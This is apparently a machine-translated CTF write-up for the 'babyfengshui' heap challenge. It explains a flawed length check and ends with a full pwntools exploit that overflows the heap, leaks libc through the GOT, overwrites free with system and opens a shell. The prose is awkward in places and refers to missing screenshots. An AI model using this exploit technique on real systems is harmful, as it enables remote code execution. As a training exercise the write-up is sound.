Estas son las cuatro funciones principales: función
agregar:
la parte de entrada de la función agregar:
al mismo tiempo, esta es también la función de actualización, de hecho, esta función tiene lagunas de desbordamiento, tiene un problema con la verificación de longitud, que se usará más adelante Una pequeña
función de eliminación: función de
visualización:
primero cree algunos trozos a voluntad, mire el diseño,
add(0x80,"nam1",0x80,"aaaa")
add(0x80,"nam2",0x80,"bbbb")
add(0x80,"nam3",0x80,"cccc")
Tome el primero como ejemplo. El fragmento que almacena el texto viene primero, seguido del fragmento que almacena el nombre, que almacena los punteros del nombre y el fragmento0. Echemos un vistazo a la comprobación del programa sobre la longitud de entrada:
para fragmento0, es si 0x80c008 + la longitud de entrada es mayor que 0x804c08c, sin embargo, existe el problema de que chunk0 y chunk0 (nombre) no son necesariamente adyacentes entre sí. De esta manera, existe la posibilidad de desbordamiento
add(0x80,"nam1",0x80,"aaaa")
add(0x80,"nam2",0x80,"bbbb")
add(0x80,"nam3",0x80,"/bin/sh\x00")
delete(0)
add(0x100,'nam1',0x100,"cccc")
Después de este paso, el chunk3 recién aplicado estará delante de chunk1 y chunk2, y chunk3 (nombre) estará detrás de chunk1 y chunk2, de modo que se puedan ingresar datos largos
payload='a'*0x108+'a'*0x8+'a'*0x80+'a'*0x8+p32(free_got)
update(3,0x200,payload)
Cambie el puntero chunk1 almacenado en chunk1 (nombre) a la dirección de free_got
show(1)
sh.recvuntil("description: ")
free_addr=u32(sh.recv(4))
libc=LibcSearcher("free",free_addr)
libc_base=free_addr-libc.dump("free")
system_addr=libc_base+libc.dump("system")
Imprima la dirección de la función libre y calcule la dirección de la función del sistema
update(1,0x80,p32(system_addr))
delete(2)
sh.interactive()
Modifique la dirección de la función libre a la dirección de la función del sistema. Dado que chunk2 almacena "/ bin / sh", ejecutar free (chunk2) en este momento es equivalente a ejecutar system ("/ bin / sh")
complete exp:
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level='debug'
sh=remote("node3.buuoj.cn",25902)
elf=ELF('./babyfengshui_33c3_2016')
puts_got=elf.got['puts']
free_got=elf.got['free']
def add(size,name,length,text):
sh.recvuntil("Action: ")
sh.sendline("0")
sh.sendlineafter("size of description: ",str(size))
sh.sendlineafter("name: ",name)
sh.recvuntil("text length:")
sh.sendline(str(length))
sh.recvuntil("text:")
sh.sendline(text)
def delete(index):
sh.recvuntil("Action: ")
sh.sendline("1")
sh.recvuntil("index: ")
sh.sendline(str(index))
def show(index):
sh.recvuntil("Action: ")
sh.sendline("2")
sh.recvuntil("index: ")
sh.sendline(str(index))
def update(index,length,text):
sh.recvuntil("Action: ")
sh.sendline("3")
sh.recvuntil("index: ")
sh.sendline(str(index))
sh.recvuntil("text length: ")
sh.sendline(str(length))
sh.recvuntil("text: ")
sh.sendline(text)
add(0x80,"nam1",0x80,"aaaa")
add(0x80,"nam2",0x80,"bbbb")
add(0x80,"nam3",0x80,"/bin/sh\x00")
delete(0)
add(0x100,'nam1',0x100,"cccc")
payload='a'*0x108+'a'*0x8+'a'*0x80+'a'*0x8+p32(free_got)
update(3,0x200,payload)
show(1)
sh.recvuntil("description: ")
free_addr=u32(sh.recv(4))
libc=LibcSearcher("free",free_addr)
libc_base=free_addr-libc.dump("free")
system_addr=libc_base+libc.dump("system")
update(1,0x80,p32(system_addr))
delete(2)
sh.interactive()